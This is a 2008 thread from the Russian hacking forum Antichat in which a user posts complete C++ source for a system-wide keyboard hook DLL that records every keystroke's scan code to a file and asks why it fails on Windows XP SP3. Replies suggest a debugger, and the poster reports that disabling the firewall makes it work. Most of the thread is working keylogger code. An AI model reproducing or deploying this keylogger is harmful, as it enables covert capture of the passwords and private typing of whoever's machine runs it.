ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Хуки и WinSP3
  #1  
Старый 02.11.2008, 14:18
Аватар для 4p3
4p3
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме:
750247

Репутация: 92
Отправить сообщение для 4p3 с помощью ICQ
По умолчанию Хуки и WinSP3

Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает?

Приведенный ниже код отказывался писать в файл.
Хотя все проверки выполнялись.

Код:
#include <windows.h>
#include <stdio.h>

#pragma data_seg(".SData")
static HHOOK hKey = 0;
static HANDLE hFile = INVALID_HANDLE_VALUE;
CRITICAL_SECTION cs;
#pragma data_seg()

DWORD __stdcall FileWrite(void *lpPoint);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);

void StartHook(HINSTANCE hLib)
{
        hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
        hFile = CreateFile("C:\\outHook.txt",
                           GENERIC_WRITE,
                           FILE_SHARE_READ,
                           NULL,
                           CREATE_ALWAYS,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);
        InitializeCriticalSection(&cs);
        if (hKey == NULL)
                MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
        if (hFile == INVALID_HANDLE_VALUE)
                MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
}

void RemoveHook()
{
        UnhookWindowsHookEx(hKey);
}

#pragma argsused
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
        if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
                UnhookWindowsHookEx(hKey);
        return 1;
}
//---------------------------------------------------------------------------


DWORD __stdcall FileWrite(void *lpPoint)
{
        char szBuffer[100];
        ZeroMemory(szBuffer, 100);
        DWORD dwWritten = 0;
        DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
        itoa(*ScanCode, szBuffer, 16);

        EnterCriticalSection(&cs);
                WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
                WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
        LeaveCriticalSection(&cs);

        return 0;
}

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
        DWORD IsDown, ScanCode;
        IsDown = !(lParam >> 31);
        ScanCode = lParam << 8;
        ScanCode >>= 24;


        if (IsDown && code == HC_ACTION)
        {
                CreateThread(NULL,
                             0,
                             FileWrite,
                             &ScanCode,
                             0,
                             0);

        }

        return 0;
}
Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.
 
Ответить с цитированием

  #2  
Старый 02.11.2008, 17:43
Аватар для spider-intruder
spider-intruder
Постоянный
Регистрация: 10.12.2005
Сообщений: 939
Провел на форуме:
3886281

Репутация: 929


Отправить сообщение для spider-intruder с помощью ICQ
По умолчанию

Ну В файл писать отказался а перехват то работает или нет?! На каком этапе затыкается код при сп3 ?
 
Ответить с цитированием

  #3  
Старый 02.11.2008, 17:49
Аватар для GALIAFF
GALIAFF
Познающий
Регистрация: 28.09.2007
Сообщений: 56
Провел на форуме:
4328058

Репутация: 86
Отправить сообщение для GALIAFF с помощью ICQ
По умолчанию

4p3, отладчик в руки.
 
Ответить с цитированием

  #4  
Старый 02.11.2008, 19:17
Аватар для 4p3
4p3
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме:
750247

Репутация: 92
Отправить сообщение для 4p3 с помощью ICQ
По умолчанию

Отключил фаервол, стало работать.
Сейчас будем разбираться в чем дело и где блочимся.
 
Ответить с цитированием

  #5  
Старый 02.11.2008, 19:19
Аватар для 4p3
4p3
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме:
750247

Репутация: 92
Отправить сообщение для 4p3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от GALIAFF  
4p3, отладчик в руки.
Это само собой, просто я хотел услышать мнение людей, которые уже сталкивались с этой проблемой и знают её корни.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ